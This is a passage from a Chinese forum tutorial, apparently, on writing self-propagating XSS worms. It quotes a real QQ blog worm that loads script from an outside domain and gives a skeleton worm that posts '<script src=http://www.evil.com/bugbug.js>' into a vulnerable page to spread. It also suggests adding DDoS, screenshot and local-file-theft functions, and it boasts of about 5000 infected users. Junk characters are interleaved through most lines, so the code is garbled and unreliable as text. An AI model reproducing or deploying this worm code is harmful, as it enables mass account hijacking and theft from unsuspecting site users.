myblogid=mybloglist.substring(0,myurls);1 ~4 H$ U: k5 V
- r$ J3 N6 j' B H. ?+ @6 h }else{break;}0 r2 D2 r; U* C' @2 x
" {& r6 p* }9 Z: g
}7 d8 @2 ]# Q6 k3 n, u1 A2 U2 K
1 |( m. x- n+ k5 ]# S
get_my_testself(); //执行这个函数# r H! ^6 _5 ?- ~
% V% M3 ^! x5 i/ _# j; ^
}
" X5 e: O' A4 z/ l& u. C' h. z* \$ t( Z4 P6 R1 \
' C" P5 J. u; V3 T
) h) K. H8 U* i4 C2 k$ R1 g//这里往哪跳就不知道了
9 y: o' ]% l; ^
) S, x3 [1 Q0 i8 l. ]function get_my_testself(){$ Z6 i. C1 U+ W( y, T
2 W5 }3 V: n& J2 E' ~
for(i=0;i<myblogid.length;i++){ //获得blogid的值
9 W5 d1 w# W+ h! i: B) e: m4 \$ @ K
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();; d; N4 P1 A) w6 [: @4 |8 b; Z
2 r$ i4 w( v; B var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
9 r B* p* C' s- F
0 B/ v4 a" F3 }% v% t) D if(xhr2){ //如果成功* v$ u- k4 [! e* [5 F
+ E- H) i- X2 Y9 _( { xhr2.open("GET",url,false); //打开上面的那个url
+ J% |! A; X f# @ @
# z6 b; X5 [2 M {. t xhr2.send();+ f* h, F1 C/ o$ K3 A0 G5 X
F4 K5 c: m0 L }) I8 r! `
guest2=xhr2.responseText;
, L2 F$ j& V$ q/ i/ h1 }6 G# c, {( r" D8 c9 J
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
. c- m+ U+ V, {/ x( k$ e" ?! [( H2 l
/ Q3 w2 j3 m+ C* b var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串9 r& H7 d" D( F
' Q b0 l5 Z ^5 `. S2 X5 X
if(mycheckmydoit!="-1"){ //返回-1则代表没找到. x2 A' k+ _1 F( V0 g' L7 o
1 u; {8 G o2 U; ]7 V% ^& R
targetblogurlid=myblogid;
( a; T1 s9 F# L! [3 u0 k/ O
. m# G4 R; D) S! K; a5 Z. W% A add_jsdel(visitorID,targetblogurlid,gurl); //执行它
4 E5 g8 R5 m% R4 K/ }* E$ j* }: C7 G- d2 Z7 V
break;+ u7 ]' z/ i+ f( O8 `8 b& {0 c
; V$ b/ |! h3 E# H2 C. ]
}
# r, C4 N9 S5 [( ~4 p" j; H, {; p% i* {! L9 C, k- {; j0 X
if(mycheckit=="-1"){
$ {6 a [8 m8 Y( D4 g0 b# ^+ O8 F. ^9 z8 X
targetblogurlid=myblogid;
$ d' N+ E1 W! c& z! D! x) A; G5 U! s1 o, }
add_js(visitorID,targetblogurlid,gurl); //执行它+ C9 Z7 o8 ^3 H5 H$ X/ E( O
' m3 Y- p, j1 A$ `* d; d7 V
break;
7 b( s+ _: i' t1 ^! S! g0 ~- k
; d: ?! v; I: q- w) V, g! z }# [1 e) t; ?# T6 ?6 u% X
. v- M2 K4 ]% I# F3 r; |
}
" p, o' C# _+ g& _ ^! ]
4 P$ e2 H7 V$ h}1 V( N/ w1 y: x9 v% _$ X
( i! Z( B V6 X' n" J' V- Y3 f
}
" G) {/ W3 b* h1 x; {, o7 o! o4 ^" z3 w* p* z: s
+ d$ l: \/ Y( N( a! n, j E2 ]8 D. D# ^6 V$ K* \% s) ~2 U p
//-------------------------------------- . G" D8 d* h4 h6 ?) E$ c! x
/ X' E$ a3 {3 P! c8 w//根据浏览器创建一个XMLHttpRequest对象
- J) p! ?4 t& O; q0 p- }( B a2 U# l
function createXMLHttpRequest(){ I5 i9 s# e0 |( e) c
0 n1 K% Y% D5 C( p. ^ var XMLhttpObject=null;
: w0 Q* I/ Y/ g- `1 C7 f) E8 t+ k9 C& ]! c; ^2 U( C/ I' }9 E
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
, F2 Q/ C O# f- k3 N! U! o W
" o; r5 K1 e ]# k! N# Y; k! U else
! z( Y& [3 Q9 d/ K8 w# p" J) z" r+ q5 U: T) ^2 p' x
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; ! T; C* @6 l/ Q( Y' G* p# Q
; T( x) o6 i" p# m q
for(var i=0;i<MSXML.length;i++) 0 o, i% a1 K1 x6 Z+ m
: o% ` {4 U! {6 l+ p7 S {
" W. s4 N2 |( J0 N: h# B
% @0 P/ }2 E: Q7 P3 K+ i try * U% ~; N% w3 F& P; C
4 M8 A' V$ x+ L5 l) _
{
% N |5 y) j- R; y: X
9 Z5 W6 h! _7 p' w& P$ y" D XMLhttpObject=new ActiveXObject(MSXML);
" _5 h2 o- @) A+ V# M
4 m$ K! Y6 d$ c% _. O" ]3 P0 C break; , w6 s7 E" V1 [! w: h6 Z
$ G5 r! a$ Z( Z, A }
. m/ o9 S) w& D* w
0 B3 @0 x/ F3 q3 H h* s' j2 J catch (ex) {
# I. o! P6 q9 q. n: E$ Q4 L+ g6 g0 ^! U6 E( k' B
}
1 q, p* R! @, x& p4 K$ h0 ~# p) c. y2 E) e l; W
} ! ~, n9 }- \/ a+ r/ n
! e6 o" r/ L0 z4 P; g3 g! E E }
, H: T# p6 }5 M' T# C( T
8 |/ p$ V5 [4 A3 sreturn XMLhttpObject;
, G! w% y* J3 m7 c X( F t$ W, e& R" d- y, J/ O+ R- n/ ]
}
- H# l% o, _6 \1 \: P' X
$ J9 ^% M: ?6 d& O1 q2 @2 o7 o/ R% O3 }3 d
. Y, ^+ |. K% x- D; c1 `) _& [
//这里就是感染部分了
3 D# s) \% `- t4 H! V' j. n; X
7 h+ |4 }* C! e( t, v, l: ~5 r7 Wfunction add_js(visitorID,targetblogurlid,gurl){
1 _/ ^# Z0 T9 x, U7 _, T. N7 Y" y( }8 @7 W! [: @5 r5 ]8 L
var s2=document.createElement('script');
4 v! m% ~4 U- ^# N' b* g3 `' A
- e9 y( i7 f/ w( Ss2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random(); _9 b; l3 \# m2 W y
0 t4 c @/ x: L2 E
s2.type='text/javascript';
6 l* Y5 s/ O8 t& y+ L6 X2 p" h+ M
document.getElementsByTagName('head').item(0).appendChild(s2);
& K7 l/ K7 @( @
" ^, n2 C8 H5 a+ |7 w( j4 \}
: ~4 L6 s# b- i- O# m) L9 L2 m" r/ W$ _! f4 G
; {4 E5 D0 E* t, m2 X
! k4 ^" n2 C( rfunction add_jsdel(visitorID,targetblogurlid,gurl){: r/ L P+ N, H2 G" O
9 q R9 `1 \; O7 ], j
var s2=document.createElement('script');% @: \( w1 w! T* P3 n
0 K0 j, {, G) J: l5 F
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();* y( Z8 o5 l/ C1 l% m0 _! p, m
: E& t. C/ l" `
s2.type='text/javascript';3 x; ]0 Q9 c! a( a* y$ g# U% d+ d
6 W" J3 A+ n7 P* |# \
document.getElementsByTagName('head').item(0).appendChild(s2); c7 z: n- P8 V0 ^3 X: a/ q+ v0 [
2 M9 X1 y- G3 U( D. |4 X}
6 D) S4 I7 V) ~ i复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
3 s" B+ j9 `3 S4 b; ]6 _1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
" Z1 J7 ^* }! u, i+ ^7 z$ {8 H. Y0 ^: b. O+ B+ L, J/ B- E! ~
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)* Z. `/ A6 l+ A
. M/ H# e( w8 U
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~: s& f, o* a0 p E% v% u
2 ^7 d, V& x0 j1 Z) q- ]
. R, C1 |" z% |3 w3 }9 `下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
: ]" |+ E1 Z3 Z/ ^$ |# Z
: L8 L5 k& t/ m. ^" v2 N首先,自然是判断不同浏览器,创建不同的对象var request = false;
- ?4 z( |2 ?) o- s1 Z$ p$ E
" [4 x# |8 Z% x* O5 e S2 e/ h. i, v! @if(window.XMLHttpRequest) {
- a# [, K- z* x0 ]: u0 U4 H
& v* v+ e" M4 q7 urequest = new XMLHttpRequest();, M- t! W. V6 {; v C" `1 \
7 K1 i8 @) {' f8 s8 Q/ ^
if(request.overrideMimeType) {8 p0 b. X0 e* d `
7 d ~: Z. O" E) Z
request.overrideMimeType('text/xml');7 n9 ^5 N& h, P. s
5 L. q! p( f A; T}
- h% ~8 R7 V; d$ P1 ?# Z# M5 U( b1 d" v5 `3 v
} else if(window.ActiveXObject) {
7 s. D/ ^% W. d3 v0 C& T7 t9 m* \% |9 \) r7 ?7 M+ A
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; M. v- g1 e( v
6 o3 c& Z$ F) n7 Zfor(var i=0; i<versions.length; i++) {/ A7 h: X( g: j& I3 \5 R
5 Q0 q. |( c9 w0 r- r' A& x
try {/ A6 I1 C8 i/ c- x6 j1 R, k
4 i& ~7 G4 ^" i5 h, v" M* }9 t
request = new ActiveXObject(versions);; d& P* t, ^+ z0 M1 V2 ]; |' D: Q4 [
4 j- z2 X5 J6 T- k% A} catch(e) {}) q3 j% e) M& S0 O: k& k1 P
2 b! I+ C& f7 i* L0 j7 J}5 g* r- K8 c2 b; G1 \: v. `
* [4 u2 }9 U7 W! D# B' W$ i
}! P* S: F; P2 H0 q+ m' D. E
+ z& F& c0 N) o3 a) E& x
xmlHttpReq=request;
! y$ V* k) ?: d3 V! A4 h复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
; m( C% j! t, d: ~: {/ K! y. L) X: \. C( F8 L
var Browser_Name=navigator.appName;3 b( R7 q& u1 t; h& j8 s
* R( c( ?2 r3 X Q var Browser_Version=parseFloat(navigator.appVersion);9 ]9 k) \" R* K4 z1 c h' @& c
$ ~ e( }4 K3 U1 i/ L4 ] var Browser_Agent=navigator.userAgent;
4 K# J; {: E' `) j {6 w# ]. g0 v- C7 n6 |. n7 P! U% m
3 ?/ d4 S1 P$ B1 \
4 A5 u+ i6 F. A5 R var Actual_Version,Actual_Name;, T6 M1 Y' d9 M7 r+ V6 P
0 |2 d+ x9 {1 Q
: _3 _) ^5 H. B! r. {+ B6 [2 o# ^9 T1 ^4 O9 e5 T2 s
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
d1 L# k( G2 |+ S. z8 {/ ^% _2 P) H% E5 Q: k8 N% n
var is_NN=(Browser_Name=="Netscape");
$ z8 {, _2 n. u- {# ~+ Y# |# O3 ?
# F/ d) C) ?/ ^/ b+ e& ? var is_Ch=(Browser_Name=="Chrome");4 C) u+ V5 v4 o. M l% f a) X7 F
- ~6 B) Q, h: O {- ^, w5 e. ]
( J9 P/ _+ M( v2 A# i% Z" Y e, [, e" b7 r7 T( {
if(is_NN){2 L0 m9 I( ^, C. x. ?0 z0 s
! R: D* d5 T9 t5 ?7 M& @4 F if(Browser_Version>=5.0){% Y! S" d' M. V0 {0 I% D/ Y) J7 M
% l4 d6 ^, o( S- L6 p6 T var Split_Sign=Browser_Agent.lastIndexOf("/");
2 R* z7 ]5 p" ]; j
8 ^. v+ P5 l2 L1 E var Version=Browser_Agent.indexOf(" ",Split_Sign);
7 F E$ _3 e0 U' {, Q: P3 {3 x' H0 e6 e U( n
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
4 E5 _2 S( H% R% C, C u+ U' Q5 u$ f6 Z6 }1 M3 U$ z- s
- i* y. U/ o* `/ T4 v
# H+ @5 ~9 P8 c9 T9 C& M- J Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);7 \2 {9 D7 E% W' S3 @+ \! u
4 f6 |! ~1 @0 ~2 R1 ^ j
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);" C* P8 P }, k4 L
( [+ M0 {/ b. w6 Z3 p: o
}
/ l! m! k4 L) c$ d
7 W/ I( X4 t3 ]' j0 M( H3 v5 o' p& O else{& ?: O4 x4 F# _# M @
' `7 ^& G0 `; n4 Q Actual_Version=Browser_Version;* ~3 Q9 G2 C3 s$ v
- j8 B1 u5 `9 {+ {% B E# f. r Actual_Name=Browser_Name;* T/ m7 I. c/ k, W
! l" ]7 _2 q, ~( {9 ]$ Y
}
9 r. y& u/ w* [- I7 j( w: \2 a
2 w* f' R0 @% s Z8 \ }
; p6 y0 q# d" M( [0 O) R
* h' C& n- Q( B9 @# t else if(is_IE){
& f& A) O7 C) {
; v0 G% e+ W+ L' X0 l var Version_Start=Browser_Agent.indexOf("MSIE");
' t/ g* q, P3 i7 x. v* _
6 f9 `9 j: o6 C$ V8 P$ Q0 ^+ b var Version_End=Browser_Agent.indexOf(";",Version_Start);/ o" w2 J/ X y* b
* T3 a9 R4 d& a; L
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
0 S- a- `: a# i; S. h% L6 x: v) }; m6 u. ^+ Q0 G
Actual_Name=Browser_Name;
0 N ] T: Q+ S1 O
9 P; o. Z$ I2 F' P+ ?+ d $ F' Q9 S4 ~: |8 O7 ?) Y& S! B
) @3 I& W+ [/ O6 D' w2 a! I if(Browser_Agent.indexOf("Maxthon")!=-1){
# S. H9 Y; R6 E' J' [, W0 K' c8 u4 E" }
Actual_Name+="(Maxthon)";
; } X# ]4 B5 {) z$ J' N3 s& }& N: j$ `& c0 S4 |
}
8 b& z) _' d! U" @
! \7 M6 l0 S% \0 p9 c: w9 u else if(Browser_Agent.indexOf("Opera")!=-1){4 ]. ^- o. h! F7 O9 q! u# B) F1 e+ H
: n1 y/ v, N$ k" V. j! f& [6 t
Actual_Name="Opera";
: |) W `, n' ~/ X( v" H% S. E3 Q( v4 v3 B& f
var tempstart=Browser_Agent.indexOf("Opera");6 X' `7 v# M8 B! r% ]1 W
1 S% C; p/ h5 g0 ], ^. h. h9 a
var tempend=Browser_Agent.length;
. H3 t2 g0 q/ U' ~! T8 o6 [1 H; K/ |: R8 W# e
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)' ~ Z$ v: w$ z, J! J
6 N4 R6 \0 N( D" d! p* S% M
}/ {4 M9 r5 F) i2 z/ n4 t
) c! V2 L: ]8 N1 f3 Q$ N5 T) N }
+ X& ^5 B9 H& H4 D/ q! r) q" Q4 E; |. I: E+ a
else if(is_Ch){
; ?4 l0 D X: T- M0 r1 z3 T) ?6 {
. D8 c8 l! o! ^1 H$ f* u6 ` var Version_Start=Browser_Agent.indexOf("Chrome");
K3 ]1 O+ l: ]( m" |2 T. ?, v! A% Z7 g7 Q0 }9 U3 D3 W9 l
var Version_End=Browser_Agent.indexOf(";",Version_Start);
& e' ^- X" Z. d8 W0 ]/ o9 a
; O8 ~# U; h% l# M3 \7 t4 N Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ C) n! r( f% g, E" }% h+ g0 Q, A. D. i" |1 T2 z( C: S
Actual_Name=Browser_Name;
" q7 \4 Z8 G0 s4 M. Q7 y2 q3 l. M
* B! _ [" }" t$ X8 r d8 v1 h + l6 a* J) B/ Q* q x) L
E- A. y' X2 _( p5 I! U/ E if(Browser_Agent.indexOf("Maxthon")!=-1){
# ?7 l6 T& P4 L( ?8 p9 R5 G
5 O( _) L/ \: V6 O& U, O$ R Actual_Name+="(Maxthon)";
o. g, |* s* {- y4 d4 P, d7 R) [3 [# D$ p1 I9 x! k) v! O2 j
}# W i" j7 R2 G( @
2 [7 k+ |( `/ E; u* b+ W else if(Browser_Agent.indexOf("Opera")!=-1){/ N0 d7 p# |$ G) n( |: W8 e3 O8 A; v
: j8 `& q$ l+ C' p# Z( z Actual_Name="Opera";
X, j% }! P+ Q6 w+ G
# ^9 Z7 ~7 C2 K: W var tempstart=Browser_Agent.indexOf("Opera");
7 p. R& H* d0 c% F
( A* W3 u' n! u2 ] var tempend=Browser_Agent.length;3 c% M* X, [; x' I1 q3 X/ H% a$ [" }
4 N% `6 ^( d4 g: e
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
% S* }& q) q4 N! l, E" @" K; }1 o2 d0 y& W
}: z/ _+ w# n2 Z* |; J, s, m
7 m8 n& c, L, I
}
0 M3 y* P; }' u( W8 W; W5 b' q9 O! d7 \7 o* D/ R( }# R
else{$ o2 {+ i' H: x- S2 T
' ^8 I2 i. B4 d, D. f Actual_Name="Unknown Navigator"
( L5 `8 y3 n0 `6 @2 g$ _( J# U, ^' Y5 a# K. I' l% y2 b* f
Actual_Version="Unknown Version"
( B. _7 R8 E: y; ]0 d+ L# ]$ z% k
0 y+ P; Z7 }8 D. @6 m% y, ^& Q }
+ ~4 R" O( O/ Q+ D
+ c7 h! R$ E( V5 j7 x C7 C5 f
: D3 X& h$ d" l& T) J+ Q# Q$ O) P. f- k9 }$ ~
navigator.Actual_Name=Actual_Name;
: [4 n; @% X9 M6 l/ `- ~2 p6 t0 h. ^0 ]' E4 y* }
navigator.Actual_Version=Actual_Version;& i2 Q, _+ j( V6 I" N& @
0 ~3 z: u; R2 E
6 B9 i) x; [( j9 l7 y: R7 w
/ O2 H$ w% f. Y* ~/ U$ N, q this.Name=Actual_Name;
) a1 g* s- H2 }4 t4 V2 n7 K; H* H0 r S& R
this.Version=Actual_Version;
3 a! r9 E9 }/ T V; W, h, f6 [7 @5 `4 i Q x
}! [# _3 w5 S2 ?4 L) e5 U( [
4 ^- f; X0 V- T# P/ E6 P/ { browserinfo();, W) ]/ u' `6 H" r( l6 Y( M
7 y4 I" }/ {. |8 l. O if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}! e; X6 t- ?8 d$ X$ \' q
0 U0 N$ b% D" i+ N, A
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
, _: L; I2 V3 F4 E# o4 F/ ~- W3 X9 ?# f! ^% i4 h
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}6 |2 I7 S3 f% b/ d F0 }/ d
+ ]/ q5 m3 l) r' W if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}% ~8 [. ^! }! |/ H: S' W
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码( s; v; n4 J, m7 D8 v5 e- e& X
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
7 {) h$ }1 h" a9 ]1 O复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
; ^2 `6 @* a6 L2 z9 q b1 J' i' O* \, n( H2 Z& C
xmlHttpReq.send(null);0 j A) G# h! b
) `2 i/ W! j% D+ J) Jvar resource = xmlHttpReq.responseText;, L7 r4 J: t# F( d8 @
+ [, Z! m2 r$ U. I$ i1 N6 Qvar id=0;var result;
: ]! B( H' B$ q, E$ v( A- {$ h, n$ X; K, o
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.8 v$ c, U* b/ L1 T
% s6 s- c5 e1 | |7 v7 L
while ((result = patt.exec(resource)) != null) {3 M( L2 U" R% R! |0 z: [' ]1 g
8 }* i% B# U& T9 L, ]/ l# Aid++;% j; p4 {& V; e/ c
6 T& |* M- f) j" d E}
7 n# ]5 L; G- _7 v8 r复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.4 V1 I2 y5 q b0 q$ @( R
0 }# \- W2 q* c: M" t
no=resource.search(/my name is/);
$ q6 M! i2 D& [
o) F; G/ ]9 o+ Svar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码., B0 x- S9 Z. K' W9 V& R: d. C
6 ]0 g; f3 U- k: ovar post="wd="+wd;% q& \# [3 P- v. ^9 K4 l
3 ~% x. o# P$ Q) XxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.; Q1 L1 E9 M D& G2 ~( ?5 I1 w
$ [* t7 P$ G4 l5 i! a
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");, X# Z' ~, p/ Q2 Z( \, V6 w
( [- K( E! m' z! ^9 _$ SxmlHttpReq.setRequestHeader("content-length",post.length); ( {% B+ z8 e* E9 L
8 z* N6 S# F: O$ e* d6 \1 MxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
$ l; E* n9 o5 V6 `0 I. i
) k; J# I' {9 a) }- U' }# { LxmlHttpReq.send(post);
: m- T( r2 J- Z+ {/ }1 N
. G" e" @. A+ z5 Z$ |& F2 E n}7 M2 Z- F/ m; t( W2 R0 A6 U7 ?
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{ v. O, U# d: U; ]! _
' ~9 C3 `# ~9 k; a' j+ Q4 K) K
var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
8 o9 S9 i" d3 |- ?9 p8 V% [
* D+ x6 |5 S" r. lvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
7 l0 G: {6 {$ Q- r* [6 X) X% V' J8 `1 {& q8 j! u' ?
var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.1 i& Z% Y! I+ Q( b5 B, \8 ~. q
a/ O/ q7 A# _) C8 N8 f# E2 Z4 Xvar post="wd="+wd;
; y- G0 f2 X2 I
+ Y% O% j1 }& L: Q8 X* h+ q/ ]/ ZxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);7 W8 O( b3 b0 s0 J' U: i# C3 S% U
2 l9 ~# w8 H4 ?! o' s: ?7 g
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
% I: ~# W7 [2 g7 `# c/ v8 J
6 d7 v% y8 d0 [) } m" S8 SxmlHttpReq.setRequestHeader("content-length",post.length); - u" Q" t* l& J! G' n O5 q6 e
( E' o) [4 T1 J9 d$ t6 n* M9 G
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
5 E: T6 e, P6 w; q# b5 B
8 o+ I5 M! e9 o* P: ]7 V) Q9 ixmlHttpReq.send(post); //把传播的信息 POST出去.
% c& r& u9 K+ M. y% ]! j3 t U& H( k
}* |5 w5 A* \+ H) R
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
' A& l: ~$ G' \$ } o/ B% E( i0 |: m* ^* x8 s
0 I0 O( e8 `6 |4 Y2 o7 k
; B1 Q, {2 {9 g) D
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 W3 y6 |0 V( N- S8 L8 f蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.) I1 u2 ~7 E: R3 t
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
0 g) ]: d% J7 @9 x/ c& J
4 @1 p) j2 w/ @( G4 Y! d
. O/ F% u7 l- q9 H8 A+ x2 l6 A" G& _$ \, c" t9 b
+ F6 r% q1 x% F& y
" A% I: T: c6 m9 o, P1 a
6 b" N/ z9 m' Y* b; ]& r c& i
1 C! H, `9 ^6 j; c% u. q+ t! t
+ \& [* I1 G1 O' _
本文引用文档资料:
& O& B, `# C' s M% m4 [
: c) c. N, l& D h9 n* L) T6 k"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)" X+ Y& x" { L1 O
Other XmlHttpRequest tricks (Amit Klein, January 2003)# J& k! X( @3 c0 J( b; E- h) s
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
8 {/ d3 V5 i: ], Q- vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog) J+ m) d4 Z8 I' [. Q) K
空虚浪子心BLOG http://www.inbreak.net) [& l. @" Q- h3 Z4 {; u
Xeye Team http://xeye.us/9 Z9 K0 y$ a% f' V7 _% A
|